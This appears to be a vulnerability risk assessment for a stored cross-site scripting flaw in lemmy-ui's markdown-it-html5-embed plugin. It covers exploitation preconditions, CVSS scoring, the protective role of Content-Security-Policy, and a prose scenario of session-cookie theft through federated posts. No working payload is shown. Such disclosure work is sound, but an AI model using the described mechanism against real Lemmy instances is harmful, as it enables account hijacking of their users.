Lemmy EUVD-2026-62848

Exploitation requires all of the following: (1) the target lemmy-ui deployment serves no Content-Security-Policy header - the vendor advisory confirms that CSP blocks the exploit, and the default self-hosted configuration does not set this header; (2) the attacker must either hold approved-member status on the target Lemmy instance or control a federated Lemmy instance capable of pushing content to the target; (3) the content must be rendered through the mdToHtml path (post bodies, comment bodies, private messages, community sidebars, site sidebars) - the mdToHtmlNoImages rendering path is not affected; (4) the victim must passively view the rendered content in their browser (UI:P). Exploitation is limited to lemmy-ui versions prior to 0.19.19-beta.1 that ship markdown-it-html5-embed@1.0.0. Instances with CSP enabled and instances that have upgraded to 0.19.19-beta.1 are not exploitable regardless of the other conditions.

The provided CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N) yields a 6.4 score, which modestly understates real-world risk for unprotected deployments. The high subsequent-system confidentiality and integrity metrics correctly capture session hijacking and authenticated action abuse. The PR:N assignment reflects the federated attack path - a threat actor operating their own Lemmy instance can push content to a target instance without any approval on that instance, though controlling a federated server is itself a non-trivial prerequisite that more closely resembles PR:L. The single most important risk modifier is CSP: the vendor advisory explicitly states that a Content-Security-Policy header blocks the described exploit, and equally states that the tested default self-hosted deployment serves no CSP. This bifurcates the vulnerable population sharply - instances with CSP are protected at the network layer; the majority of community self-hosted instances without CSP are fully exposed. No EPSS data was provided; exploitation probability cannot be quantified. No KEV listing exists. The Lemmy fediverse model amplifies the attacker's reach because one malicious federated instance can target viewers across many independent Lemmy deployments without needing per-instance credentials. Effective risk is moderate-to-high for default self-hosted deployments and low for CSP-hardened instances.

An attacker who operates a federated Lemmy instance crafts a post containing the markdown image token . The content federates to a target self-hosted Lemmy instance with no CSP header. When a logged-in viewer opens the post, lemmy-ui calls mdToHtml, the markdown-it-html5-embed plugin generates a video element with the unescaped script tag in the fallback body, Inferno injects it as raw HTML, and the browser executes the attacker's JavaScript - exfiltrating the viewer's session cookie and enabling subsequent authenticated actions on their account.